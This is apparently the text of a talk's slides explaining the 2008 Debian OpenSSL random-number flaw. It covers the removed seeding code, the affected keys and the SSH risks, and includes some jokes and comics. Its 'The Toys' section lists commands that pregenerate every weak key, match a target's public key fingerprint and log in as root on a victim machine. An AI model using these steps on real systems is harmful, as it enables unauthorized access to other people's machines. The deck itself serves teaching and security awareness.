

The Debian OpenSSL PRNG Flaw

Matthias Vallentin



The Bug

- **May 13th, 2008**: Debian announced a severe vulnerability in their OpenSSL package
- Caused by the removal of the following line of code from `md_rand.c`

```
MD_Update(&m, buf, j);  
[ .. ]  
MD_Update(&m, buf, j);
```

The Bug

- ✦ The lines were removed because
 - ✦ *Valgrind* and *Purify* complained
 - ✦ Warnings about the use of uninitialized data in any code that was linked to OpenSSL

The Impact

- ❖ Crippling the seeding process for the OpenSSL PRNG
- ❖ Remaining randomness:
current process ID

IN THE RUSH TO CLEAN UP THE DEBIAN-OPENSSL FIASCO, A NUMBER OF OTHER MAJOR SECURITY HOLES HAVE BEEN UNCOVERED:

AFFECTED SYSTEM	SECURITY PROBLEM
FEDORA CORE	VULNERABLE TO CERTAIN DECODER RINGS
XANDROS (EEE PC)	GIVES ROOT ACCESS IF ASKED IN STERN VOICE
GENTOO	VULNERABLE TO FLATTERY
OLPC OS	VULNERABLE TO JEFF GOLDBLUM'S POWERBOOK
SLACKWARE	GIVES ROOT ACCESS IF USER SAYS ELVISH WORD FOR "FRIEND"
UBUNTU	TURNS OUT DISTRO IS ACTUALLY JUST WINDOWS VISTA WITH A FEW CUSTOM THEMES

```
//MD_update(&m, buf, j);
```

```
//do_not_crash();
```

```
//prevent_911();
```

The Impact

- ✦ Affected: all SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc.) between **September 2006 and May 13th, 2008**
 - ✦ **SSL certificates**
 - ✦ **Certificate Authority keys**
 - ✦ **SSH** and public key authentication
 - ✦ **Any tools** that relied on OpenSSL's PRNG vulnerable to an offline attack

SSH

- ✦ Any **SSH server** that uses a host key generated by a flawed system is subject to
 - ✦ **Traffic decryption** (previously captured traffic, too)
 - ✦ **MITM attack**invisible to the users.
- ✦ Ugly because even systems that do not use the Debian software need to be audited in case any key is being used that was created on a Debian system

The Toys

1. Generate all **32,767** keys for each PID

```
# chroot debroot /dokeygen.sh 1 -t dsa -b 1024 -f dsa_1024_1
```

2. Obtain the private key file for any given public key

```
% ssh-keygen -l -f targetkey.pub
```

```
2048 c6:7b:14:fa:ae:b6:89:e6:67:17:ee:04:17:b0:ec:4e targetkey.pub
```

3. Log into target machine

```
% ssh -i rsa/2048/c67b14faaeb689e66717ee0417b0ec4e-26670 root@victim
```

References

- Shamelessly ripped from:

<http://metasploit.com/users/hdm/tools/debian-openssl/>

```
int getRandomNumber()
{
    return 4; // chosen by fair dice roll.
             // guaranteed to be random.
}
```

- Contact me:
 - valentin@icsi.berkeley.edu
 - <http://matthias.valentin.cc>

Bugfix

HOW DEBIAN BUG #363516
WAS REALLY FIXED:

YOU'RE USING UNINITIALIZED
MEMORY THERE, GAIUS.

AH, RIGHT. LET ME FIX THAT.

